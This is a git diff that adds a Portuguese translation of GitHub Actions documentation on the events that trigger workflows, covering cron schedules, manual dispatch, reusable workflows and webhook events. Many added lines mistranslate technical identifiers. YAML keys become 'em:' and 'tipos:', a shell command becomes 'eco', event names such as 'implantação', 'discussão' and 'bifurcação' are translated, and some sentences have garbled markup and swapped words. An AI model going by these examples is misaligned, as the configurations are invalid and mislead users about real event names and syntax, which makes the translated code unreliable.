+| n/a                     | n/a                | Último commit no branch padrão | Branch padrão | Quando a execução do fluxo de trabalho programado é definida. Um fluxo de trabalho programado usa a [sintaxe cron POSIX](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/crontab.html#tag_20_25_07). Para obter mais informações, consulte "[Acionar um fluxo de trabalho com eventos](/articles/configuring-a-workflow/#triggering-a-workflow-with-events)". |
 
 {% data reusables.repositories.actions-scheduled-workflow-example %}
 
-Cron syntax has five fields separated by a space, and each field represents a unit of time.
+A sintaxe cron tem cinco campos separados por um espaço, e cada campo representa uma unidade de tempo.
 
 ```
-┌───────────── minute (0 - 59)
-│ ┌───────────── hour (0 - 23)
-│ │ ┌───────────── day of the month (1 - 31)
-│ │ │ ┌───────────── month (1 - 12 or JAN-DEC)
-│ │ │ │ ┌───────────── day of the week (0 - 6 or SUN-SAT)
+┌───────────── minuto (0 a 59)
+│ ┌───────────── hora (0 a 23)
+│ │ ┌───────────── dia do mês (1 a 31)
+│ │ │ ┌───────────── mês (1 - 12 ou dezembro a janeiro)
+│ │ │ │ ┌───────────── dia da semana (0 a 6 ou domingo a sábado)
 │ │ │ │ │
 │ │ │ │ │
 │ │ │ │ │
 * * * * *
 ```
 
-You can use these operators in any of the five fields:
+Você pode usar estes operadores em qualquer um dos cinco campos:
 
-| Operator | Description | Example |
-| -------- | ----------- | ------- |
-| * | Any value | `* * * * *` runs every minute of every day. |
-| , | Value list separator | `2,10 4,5 * * *` runs at minute 2 and 10 of the 4th and 5th hour of every day. |
-| - | Range of values | `0 4-6 * * *` runs at minute 0 of the 4th, 5th, and 6th hour. |
-| / | Step values | `20/15 * * * *` runs every 15 minutes starting from minute 20 through 59 (minutes 20, 35, and 50). |
+| Operador | Descrição                   | Exemplo                                                                                         |
+| -------- | --------------------------- | ----------------------------------------------------------------------------------------------- |
+| *        | Qualquer valor              | `* * * * *` executa cada minuto de todos os dias.                                               |
+| ,        | Separador de lista de valor | `2,10 4,5 * * *` executa no minuto 2 e 10 da quarta e quinta hora de todos os dias.             |
+| -        | Intervalo de valores        | `0 4-6 * * *` executa no minuto 0 da quarta, quinta e sexta hora.                               |
+| /        | Valores de etapa            | `20/15 * * * *` executa a cada 15 minutos começando do miuto 20 até o 59 (minutos 20, 35 e 50). |
 
 {% note %}
 
-**Note:** {% data variables.product.prodname_actions %} does not support the non-standard syntax `@yearly`, `@monthly`, `@weekly`, `@daily`, `@hourly`, and `@reboot`.
+**Observação:** o {% data variables.product.prodname_actions %} não é compatível com a sintaxe não padrão `@yearly`, `@monthly`, `@weekly`, `@daily`, `@hourly` e `@reboot`.
 
 {% endnote %}
 
-You can use [crontab guru](https://crontab.guru/) to help generate your cron syntax and confirm what time it will run. To help you get started, there is also a list of [crontab guru examples](https://crontab.guru/examples.html).
+Você pode usar [crontab guru](https://crontab.guru/) para ajudar a gerar a sintaxe cron e confirmar a hora em que ela será executada. Para ajudar você a começar, há também uma lista de [exemplos de crontab guru](https://crontab.guru/examples.html).
 
-Notifications for scheduled workflows are sent to the user who last modified the cron syntax in the workflow file. For more information, please see "[Notifications for workflow runs](/actions/guides/about-continuous-integration#notifications-for-workflow-runs)."
+As notificações de fluxos de trabalho agendados são enviadas ao usuário que modificou a sintaxe cron no arquivo do fluxo de trabalho. Para obter mais informações, consulte "[Notificações para execuções do fluxo de trabalho](/actions/guides/about-continuous-integration#notifications-for-workflow-runs)".
 
-## Manual events
+## Eventos manuais
 
-You can manually trigger workflow runs. To trigger specific workflows in a repository, use the `workflow_dispatch` event. To trigger more than one workflow in a repository and create custom events and event types, use the `repository_dispatch` event.
+Você pode acionar as execuções de fluxo de trabalho manualmente. Para acionar fluxos de trabalho específicos em um repositório, use o evento `workflow_dispatch`. Para acionar mais de um fluxo de trabalho em um repositório e criar eventos personalizados e tipos de eventos, use o evento `repository_dispatch`.
 
 ### `workflow_dispatch`
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| ------------------ | ------------ | ------------ | ------------------|
-| [workflow_dispatch](/webhooks/event-payloads/#workflow_dispatch) | n/a | Last commit on the `GITHUB_REF` branch | Branch that received dispatch |
+| Carga de evento webhook                                          | Tipos de atividade | `GITHUB_SHA`                                  | `GITHUB_REF`             |
+| ---------------------------------------------------------------- | ------------------ | --------------------------------------------- | ------------------------ |
+| [workflow_dispatch](/webhooks/event-payloads/#workflow_dispatch) | n/a                | Último commit de merge no branch `GITHUB_REF` | Branch que recebeu envio |
 
-You can configure custom-defined input properties, default input values, and required inputs for the event directly in your workflow. When the workflow runs, you can access the input values in the `github.event.inputs` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts)."
+É possível configurar as propriedades de entrada definidas por personalização, os valores-padrão de entrada e as entradas obrigatórias para o evento diretamente no seu fluxo de trabalho. Quando o fluxo de trabalho é executado, você pode acessar os valores de entrada no `github.event.inputs` contexto. Para obter mais informações, consulte "[Contextos](/actions/learn-github-actions/contexts)".
 
-You can manually trigger a workflow run using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API and from {% data variables.product.product_name %}. For more information, see "[Manually running a workflow](/actions/managing-workflow-runs/manually-running-a-workflow)."
+Você pode acionar uma execução de fluxo de trabalho manualmente usando a API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} e de {% data variables.product.product_name %}. Para obter mais informações, consulte "[Executando um fluxo de trabalho manualmente](/actions/managing-workflow-runs/manually-running-a-workflow)."
 
- When you trigger the event on {% data variables.product.prodname_dotcom %}, you can provide the `ref` and any `inputs` directly on {% data variables.product.prodname_dotcom %}. For more information, see "[Using inputs and outputs with an action](/actions/learn-github-actions/finding-and-customizing-actions#using-inputs-and-outputs-with-an-action)."
+ Ao ativar o evento em {% data variables.product.prodname_dotcom %}, você poderá fornecer a `ref` e quaisquer `entradas` diretamente no {% data variables.product.prodname_dotcom %}. Para obter mais informações, consulte "[Usar entradas e saídas com uma ação](/actions/learn-github-actions/finding-and-customizing-actions#using-inputs-and-outputs-with-an-action)".
 
- To trigger the custom `workflow_dispatch` webhook event using the REST API, you must send a `POST` request to a {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API endpoint and provide the `ref` and any required `inputs`. For more information, see the "[Create a workflow dispatch event](/rest/reference/actions/#create-a-workflow-dispatch-event)" REST API endpoint.
+ Para acionar o evento webhook personalizado `workflow_dispatch` usando a API REST, você deve enviar uma solicitação de `POST` para um ponto de extremidade da API {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} e fornecer o </code>ref`e quaisquer <code>entradas` necessárias. Para obter mais informações, consulte o ponto de extremidade da API REST "[Criar um evento de envio de fluxo de trabalho](/rest/reference/actions/#create-a-workflow-dispatch-event)".
 
-#### Example
+#### Exemplo
 
-To use the `workflow_dispatch` event, you need to include it as a trigger in your GitHub Actions workflow file. The example below only runs the workflow when it's manually triggered:
+Para usar o evento `workflow_dispatch`, é necessário incluí-lo como um gatilho no seu arquivo de fluxo de trabalho do GitHub Actions. O exemplo abaixo só executa o fluxo de trabalho quando é acionado manualmente:
 
 ```yaml
 on: workflow_dispatch
 ```
 
-#### Example workflow configuration
+#### Exemplo de configuração de fluxo de trabalho
 
-This example defines the `name` and `home` inputs and prints them using the `github.event.inputs.name` and `github.event.inputs.home` contexts. If a `home` isn't provided, the default value 'The Octoverse' is printed.
+Este exemplo define o nome `` e `entradas de` domésticas e as imprime usando os contextos `github.event.inputs.name` e `github.event.inputs.home` . Se `home` não for fornecido, será impresso o valor-padrão 'The Octoverse'.
 
 {% raw %}
 ```yaml
@@ -138,72 +138,72 @@ jobs:
     steps:
       - run: |
           echo "Hello ${{ github.event.inputs.name }}!"
-          echo "- in ${{ github.event.inputs.home }}!"
+          eco "- em ${{ github.event.inputs.home }}!"
 ```
 {% endraw %}
 
 ### `repository_dispatch`
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| ------------------ | ------------ | ------------ | ------------------|
-| [repository_dispatch](/webhooks/event-payloads/#repository_dispatch) | n/a | Last commit on default branch | Default branch |
+| Carga de evento webhook                                              | Tipos de atividade | `GITHUB_SHA`                   | `GITHUB_REF`  |
+| -------------------------------------------------------------------- | ------------------ | ------------------------------ | ------------- |
+| [repository_dispatch](/webhooks/event-payloads/#repository_dispatch) | n/a                | Último commit no branch padrão | Branch padrão |
 
 {% data reusables.github-actions.branch-requirement %}
 
-You can use the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API to trigger a webhook event called [`repository_dispatch`](/webhooks/event-payloads/#repository_dispatch) when you want to trigger a workflow for activity that happens outside of {% data variables.product.prodname_dotcom %}. For more information, see "[Create a repository dispatch event](/rest/reference/repos#create-a-repository-dispatch-event)."
+Você pode usar a API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} para acionar um evento de webhook denominado [`repository_dispatch`](/webhooks/event-payloads/#repository_dispatch) quando você quiser acionar um fluxo de trabalho para a atividade que ocorre fora de {% data variables.product.prodname_dotcom %}. Para obter mais informações, consulte "[Criar um evento de envio do repositório](/rest/reference/repos#create-a-repository-dispatch-event)".
 
-To trigger the custom `repository_dispatch` webhook event, you must send a `POST` request to a {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API endpoint and provide an `event_type` name to describe the activity type. To trigger a workflow run, you must also configure your workflow to use the `repository_dispatch` event.
+Para acionar o evento de webhook `repository_dispatch` personalizado, você deve enviar uma solicitação `POST` para um ponto de extremidade da API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} e fornecer um nome de `event_type` para descrever o tipo de atividade. Para acionar a execução de um fluxo de trabalho, configure também o fluxo de trabalho para usar o evento `repository_dispatch`.
 
-#### Example
+#### Exemplo
 
-By default, all `event_types` trigger a workflow to run. You can limit your workflow to run when a specific `event_type` value is sent in the `repository_dispatch` webhook payload. You define the event types sent in the `repository_dispatch` payload when you create the repository dispatch event.
+Por padrão, todos os `event_types` acionam a execução de um fluxo de trabalho. É possível limitar a execução do fluxo de trabalho quando um valor `event_type` específico for enviado na carga do webhook `repository_dispatch`. Você define os tipos de eventos enviados na carga `repository_dispatch` ao criar o evento de despacho de repositório.
 
 ```yaml
-on:
+em:
   repository_dispatch:
-    types: [opened, deleted]
+    tipos: [opened, deleted]
 ```
 
 {% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}
-## Workflow reuse events
+## Eventos de reutilização do fluxo de trabalho
 
-`workflow_call` is a keyword used as the value of `on` in a workflow, in the same way as an event. It indicates that a workflow can be called from another workflow. For more information see, "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."
+`workflow_call` é uma palavra-chave usada como o valor de `on` em um fluxo de trabalho, da mesma forma que um evento. Ele indica que um fluxo de trabalho pode ser chamado a prtir de outro fluxo de trabalho. Para obter mais informações, consulte "[Reutilizando fluxos de trabalho](/actions/learn-github-actions/reusing-workflows)".
 
 ### `workflow_call`
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| ------------------ | ------------ | ------------ | ------------------|
-| Same as the caller workflow | n/a | Same as the caller workflow | Same as the caller workflow |
+| Carga de evento webhook                | Tipos de atividade | `GITHUB_SHA`                           | `GITHUB_REF`                           |
+| -------------------------------------- | ------------------ | -------------------------------------- | -------------------------------------- |
+| Igual ao fluxo de trabalho de chamadas | n/a                | Igual ao fluxo de trabalho de chamadas | Igual ao fluxo de trabalho de chamadas |
 
-#### Example
+#### Exemplo
 
-To make a workflow reusable it must include `workflow_call` as one of the values of `on`. The example below only runs the workflow when it's called from another workflow:
+Para tornar um fluxo de trabalho reutilizável, ele deve incluir `workflow_call` como um dos valores de `on`. O exemplo abaixo só executa o fluxo de trabalho quando é chamado a partir de outro fluxo de trabalho:
 
 ```yaml
 on: workflow_call
 ```
 {% endif %}
 
-## Webhook events
+## Eventos webhook
 
-You can configure your workflow to run when webhook events are generated on {% data variables.product.product_name %}. Some events have more than one activity type that triggers the event. If more than one activity type triggers the event, you can specify which activity types will trigger the workflow to run. For more information, see "[Webhooks](/webhooks)."
+Você pode configurar seu fluxo de trabalho para executar quando eventos de webhook forem gerados em {% data variables.product.product_name %}. Alguns eventos são acionados por mais de um tipo de atividade. Se mais de um tipo de atividade acionar o evento, especifique quais tipos de atividade ativarão a execução do fluxo de trabalho. Para obter mais informações, consulte "[Webhooks](/webhooks).
 
-Not all webhook events trigger workflows. For the complete list of available webhook events and their payloads, see "[Webhook events and payloads](/developers/webhooks-and-events/webhook-events-and-payloads)."
+Nem todos os eventos de webhook acionam fluxos de trabalho. Para obter a lista completa de eventos de webhook disponíveis e suas cargas, consulte "[Eventos e cargas de webhook](/developers/webhooks-and-events/webhook-events-and-payloads)".
 
 {% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-4968  %}
 ### `branch_protection_rule`
 
-Runs your workflow anytime the `branch_protection_rule` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the GraphQL API, see "[BranchProtectionRule]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/reference/objects#branchprotectionrule)."
+Executa o fluxo de trabalho sempre que o evento `branch_protection_rule` ocorre. {% data reusables.developer-site.multiple_activity_types %} Para obter informações sobre a API do GraphQL, consulte "[BranchProtectionRule]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/reference/objects#branchprotectionrule). "
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`branch_protection_rule`](/webhooks/event-payloads/#branch_protection_rule) | - `created`<br/>- `edited`<br/>- `deleted` | Last commit on default branch | Default branch |
+| Carga de evento webhook                                                      | Tipos de atividade                                     | `GITHUB_SHA`                   | `GITHUB_REF`  |
+| ---------------------------------------------------------------------------- | ------------------------------------------------------ | ------------------------------ | ------------- |
+| [`branch_protection_rule`](/webhooks/event-payloads/#branch_protection_rule) | - `created`<br/>- `edited`<br/>- `deleted` | Último commit no branch padrão | Branch padrão |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when a branch protection rule has been `created` or `deleted`.
+Por exemplo, você pode executar um fluxo de trabalho quando uma regra de proteção de branch tiver sido criada `` ou `excluída`.
 
 ```yaml
 on:
@@ -214,17 +214,17 @@ on:
 
 ### `check_run`
 
-Runs your workflow anytime the `check_run` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see "[Check runs](/rest/reference/checks#runs)."
+Executa o fluxo de trabalho sempre que o evento `check_run` ocorre. {% data reusables.developer-site.multiple_activity_types %} Para obter informações sobre a API REST, consulte "[Execuções de verificação](/rest/reference/checks#runs)".
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`check_run`](/webhooks/event-payloads/#check_run) | - `created`<br/>- `rerequested`<br/>- `completed` | Last commit on default branch | Default branch |
+| Carga de evento webhook                            | Tipos de atividade                                            | `GITHUB_SHA`                   | `GITHUB_REF`  |
+| -------------------------------------------------- | ------------------------------------------------------------- | ------------------------------ | ------------- |
+| [`check_run`](/webhooks/event-payloads/#check_run) | - `created`<br/>- `rerequested`<br/>- `completed` | Último commit no branch padrão | Branch padrão |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when a check run has been `rerequested` or `completed`.
+Por exemplo, você pode executar um fluxo de trabalho quando uma execução de verificação tiver sido `rerequested` ou `completed`.
 
 ```yaml
 on:
@@ -234,23 +234,23 @@ on:
 
 ### `check_suite`
 
-Runs your workflow anytime the `check_suite` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see "[Check suites](/rest/reference/checks#suites)."
+Executa o fluxo de trabalho sempre que o evento `check_suite` ocorre. {% data reusables.developer-site.multiple_activity_types %} Para obter informações sobre a API REST, consulte "[Conjuntos de verificações](/rest/reference/checks#suites)".
 
 {% data reusables.github-actions.branch-requirement %}
 
 {% note %}
 
-**Note:** To prevent recursive workflows, this event does not trigger workflows if the check suite was created by {% data variables.product.prodname_actions %}.
+**Observação:** Para evitar fluxos de trabalho recursivos, este evento não aciona fluxos de trabalho se o conjunto de verificação foi criado por {% data variables.product.prodname_actions %}.
 
 {% endnote %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`check_suite`](/webhooks/event-payloads/#check_suite) | - `completed`<br/>- `requested`<br/>- `rerequested`<br/> | Last commit on default branch | Default branch |
+| Carga de evento webhook                                | Tipos de atividade                                                         | `GITHUB_SHA`                   | `GITHUB_REF`  |
+| ------------------------------------------------------ | -------------------------------------------------------------------------- | ------------------------------ | ------------- |
+| [`check_suite`](/webhooks/event-payloads/#check_suite) | - `completed`<br/>- `requested`<br/>- `rerequested`<br/> | Último commit no branch padrão | Branch padrão |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when a check suite has been `rerequested` or `completed`.
+Por exemplo, você pode executar um fluxo de trabalho quando um conjunto de verificações tiver sido `rerequested` ou `completed`.
 
 ```yaml
 on:
@@ -260,13 +260,13 @@ on:
 
 ### `create`
 
-Runs your workflow anytime someone creates a branch or tag, which triggers the `create` event. For information about the REST API, see "[Create a reference](/rest/reference/git#create-a-reference)."
+Executa o fluxo de trabalho sempre que alguém cria um branch ou tag, o que aciona o evento `create`. Para obter informações sobre a API REST, consulte "[Criar uma referência](/rest/reference/git#create-a-reference)".
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`create`](/webhooks/event-payloads/#create) | n/a | Last commit on the created branch or tag | Branch or tag created |
+| Carga de evento webhook                      | Tipos de atividade | `GITHUB_SHA`                          | `GITHUB_REF`         |
+| -------------------------------------------- | ------------------ | ------------------------------------- | -------------------- |
+| [`create`](/webhooks/event-payloads/#create) | n/a                | Último commit no branch ou tag criado | Branch ou tag criado |
 
-For example, you can run a workflow when the `create` event occurs.
+Por exemplo, você pode executar um fluxo de trabalho quando o evento `create` ocorrer.
 
 ```yaml
 on:
@@ -275,45 +275,45 @@ on:
 
 ### `delete`
 
-Runs your workflow anytime someone deletes a branch or tag, which triggers the `delete` event. For information about the REST API, see "[Delete a reference](/rest/reference/git#delete-a-reference)."
+Executa o fluxo de trabalho sempre que alguém exclui um branch ou tag, o que aciona o evento `delete`. Para obter informações sobre a API REST, consulte "[Excluir uma referência](/rest/reference/git#delete-a-reference)".
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`delete`](/webhooks/event-payloads/#delete) | n/a | Last commit on default branch | Default branch |
+| Carga de evento webhook                      | Tipos de atividade | `GITHUB_SHA`                   | `GITHUB_REF`  |
+| -------------------------------------------- | ------------------ | ------------------------------ | ------------- |
+| [`delete`](/webhooks/event-payloads/#delete) | n/a                | Último commit no branch padrão | Branch padrão |
 
-For example, you can run a workflow when the `delete` event occurs.
+Por exemplo, você pode executar um fluxo de trabalho quando o evento `delete` ocorrer.
 
 ```yaml
 on:
   delete
 ```
 
-### `deployment`
+### `implantação`
 
-Runs your workflow anytime someone creates a deployment, which triggers the `deployment` event. Deployments created with a commit SHA may not have a Git ref. For information about the REST API, see "[Deployments](/rest/reference/repos#deployments)."
+Executa o fluxo de trabalho sempre que alguém cria uma implantação, o que aciona o evento `deployment`. Implantações criadas com um commit SHA podem não ter um Git ref. Para obter informações sobre a API REST, consulte "[Implantações](/rest/reference/repos#deployments)".
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`deployment`](/webhooks/event-payloads/#deployment) | n/a | Commit to be deployed | Branch or tag to be deployed (empty if commit)|
+| Carga de evento webhook                               | Tipos de atividade | `GITHUB_SHA`            | `GITHUB_REF`                                     |
+| ----------------------------------------------------- | ------------------ | ----------------------- | ------------------------------------------------ |
+| [`implantação`](/webhooks/event-payloads/#deployment) | n/a                | Commit a ser implantado | Branch ou tag a ser implantado (vazio se commit) |
 
-For example, you can run a workflow when the `deployment` event occurs.
+Por exemplo, você pode executar um fluxo de trabalho quando o evento `deployment` ocorrer.
 
 ```yaml
 on:
   deployment
 ```
 
-### `deployment_status`
+### `implantação_status`
 
-Runs your workflow anytime a third party provides a deployment status, which triggers the `deployment_status` event. Deployments created with a commit SHA may not have a Git ref. For information about the REST API, see "[Create a deployment status](/rest/reference/deployments#create-a-deployment-status)."
+Executa o fluxo de trabalho sempre que um terceiro fornece um status de implantação, o que aciona o evento `deployment_status`. Implantações criadas com um commit SHA podem não ter um Git ref. Para obter informações sobre a API REST, consulte "[Criar um status de implantação](/rest/reference/deployments#create-a-deployment-status)".
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`deployment_status`](/webhooks/event-payloads/#deployment_status) | n/a | Commit to be deployed | Branch or tag to be deployed (empty if commit)|
+| Carga de evento webhook                                             | Tipos de atividade | `GITHUB_SHA`            | `GITHUB_REF`                                     |
+| ------------------------------------------------------------------- | ------------------ | ----------------------- | ------------------------------------------------ |
+| [`implantação_status`](/webhooks/event-payloads/#deployment_status) | n/a                | Commit a ser implantado | Branch ou tag a ser implantado (vazio se commit) |
 
-For example, you can run a workflow when the `deployment_status` event occurs.
+Por exemplo, você pode executar um fluxo de trabalho quando o evento `deployment_status` ocorrer.
 
 ```yaml
 on:
@@ -322,24 +322,24 @@ on:
 
 {% note %}
 
-**Note:** When a deployment status's state is set to `inactive`, a webhook event will not be created.
+**Observação:** Quando o estado de um status de implantação está definido como `inativo`, um evento webhook não será criado.
 
 {% endnote %}
 
 {% ifversion fpt or ghec %}
-### `discussion`
+### `discussão`
 
-Runs your workflow anytime the `discussion` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the GraphQL API, see "[Discussions]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-the-graphql-api-for-discussions)."
+Executa o fluxo de trabalho sempre que o evento `discussion` ocorrer. {% data reusables.developer-site.multiple_activity_types %} Para informações sobre a API do GraphQL, consulte "[Discussões]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-the-graphql-api-for-discussions)".
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`discussion`](/webhooks/event-payloads/#discussion) | - `created`<br/>- `edited`<br/>- `deleted`<br/>- `transferred`<br/>- `pinned`<br/>- `unpinned`<br/>- `labeled`<br/>- `unlabeled`<br/>- `locked`<br/>- `unlocked`<br/>- `category_changed`<br/> - `answered`<br/> - `unanswered` | Last commit on default branch | Default branch |
+| Carga de evento webhook                             | Tipos de atividade                                                                                                                                                                                                                                                                                      | `GITHUB_SHA`                   | `GITHUB_REF`  |
+| --------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------ | ------------- |
+| [`discussão`](/webhooks/event-payloads/#discussion) | - `created`<br/>- `edited`<br/>- `deleted`<br/>- `transferred`<br/>- `pinned`<br/>- `unpinned`<br/>- `labeled`<br/>- `unlabeled`<br/>- `locked`<br/>- `unlocked`<br/>- `category_changed`<br/> - `answered`<br/> - `unanswered` | Último commit no branch padrão | Branch padrão |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when a discussion has been `created`, `edited`, or `answered`.
+Por exemplo, você pode executar um fluxo de trabalho quando uma discussão tiver sido `created`, `edited` ou `answered`.
 
 ```yaml
 on:
@@ -349,17 +349,17 @@ on:
 
 ### `discussion_comment`
 
-Runs your workflow anytime the `discussion_comment` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the GraphQL API, see "[Discussions]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-the-graphql-api-for-discussions)."
+Executa o fluxo de trabalho sempre que o evento `discussion_comment` ocorrer. {% data reusables.developer-site.multiple_activity_types %} Para informações sobre a API do GraphQL, consulte "[Discussões]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-the-graphql-api-for-discussions)".
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`discussion_comment`](/developers/webhooks-and-events/webhook-events-and-payloads#discussion_comment) | - `created`<br/>- `edited`<br/>- `deleted`<br/> | Last commit on default branch | Default branch |
+| Carga de evento webhook                                                                                | Tipos de atividade                                                | `GITHUB_SHA`                   | `GITHUB_REF`  |
+| ------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------- | ------------------------------ | ------------- |
+| [`discussion_comment`](/developers/webhooks-and-events/webhook-events-and-payloads#discussion_comment) | - `created`<br/>- `edited`<br/>- `deleted`<br/> | Último commit no branch padrão | Branch padrão |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when an issue comment has been `created` or `deleted`.
+Por exemplo, você pode executar um fluxo de trabalho quando um comentário de problema tiver sido `created` ou `deleted`.
 
 ```yaml
 on:
@@ -368,17 +368,17 @@ on:
 ```
 {% endif %}
 
-### `fork`
+### `bifurcação`
 
-Runs your workflow anytime when someone forks a repository, which triggers the `fork` event. For information about the REST API, see "[Create a fork](/rest/reference/repos#create-a-fork)."
+Executa o fluxo de trabalho sempre que alguém bifurca um repositório, o que aciona o evento `fork`. Para obter informações sobre a API REST, consulte "[Criar uma bifurcação](/rest/reference/repos#create-a-fork)".
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`fork`](/webhooks/event-payloads/#fork) | n/a | Last commit on default branch |  Default branch |
+| Carga de evento webhook                        | Tipos de atividade | `GITHUB_SHA`                   | `GITHUB_REF`  |
+| ---------------------------------------------- | ------------------ | ------------------------------ | ------------- |
+| [`bifurcação`](/webhooks/event-payloads/#fork) | n/a                | Último commit no branch padrão | Branch padrão |
 
-For example, you can run a workflow when the `fork` event occurs.
+Por exemplo, você pode executar um fluxo de trabalho quando o evento `fork` ocorrer.
 
 ```yaml
 on:
@@ -387,15 +387,15 @@ on:
 
 ### `gollum`
 
-Runs your workflow when someone creates or updates a Wiki page, which triggers the `gollum` event.
+Executa o fluxo de trabalho quando alguém cria ou atualiza uma página wiki, o que aciona o evento `gollum`.
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`gollum`](/webhooks/event-payloads/#gollum) | n/a | Last commit on default branch |  Default branch |
+| Carga de evento webhook                      | Tipos de atividade | `GITHUB_SHA`                   | `GITHUB_REF`  |
+| -------------------------------------------- | ------------------ | ------------------------------ | ------------- |
+| [`gollum`](/webhooks/event-payloads/#gollum) | n/a                | Último commit no branch padrão | Branch padrão |
 
-For example, you can run a workflow when the `gollum` event occurs.
+Por exemplo, você pode executar um fluxo de trabalho quando o evento `gollum` ocorrer.
 
 ```yaml
 on:
@@ -404,17 +404,17 @@ on:
 
 ### `issue_comment`
 
-Runs your workflow anytime the `issue_comment` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see "[Issue comments](/developers/webhooks-and-events/webhook-events-and-payloads#issue_comment)."
+Executa o fluxo de trabalho sempre que o evento `issue_comment` ocorre. {% data reusables.developer-site.multiple_activity_types %} Para obter informações sobre a API REST, consulte "[Comentários do problema](/developers/webhooks-and-events/webhook-events-and-payloads#issue_comment)".
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`issue_comment`](/developers/webhooks-and-events/webhook-events-and-payloads#issue_comment) | - `created`<br/>- `edited`<br/>- `deleted`<br/> | Last commit on default branch | Default branch |
+| Carga de evento webhook                                                                      | Tipos de atividade                                                | `GITHUB_SHA`                   | `GITHUB_REF`  |
+| -------------------------------------------------------------------------------------------- | ----------------------------------------------------------------- | ------------------------------ | ------------- |
+| [`issue_comment`](/developers/webhooks-and-events/webhook-events-and-payloads#issue_comment) | - `created`<br/>- `edited`<br/>- `deleted`<br/> | Último commit no branch padrão | Branch padrão |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when an issue comment has been `created` or `deleted`.
+Por exemplo, você pode executar um fluxo de trabalho quando um comentário de problema tiver sido `created` ou `deleted`.
 
 ```yaml
 on:
@@ -422,9 +422,9 @@ on:
     types: [created, deleted]
 ```
 
-The `issue_comment` event occurs for comments on both issues and pull requests. To determine whether the `issue_comment` event was triggered from an issue or pull request, you can check the event payload for the `issue.pull_request` property and use it as a condition to skip a job.
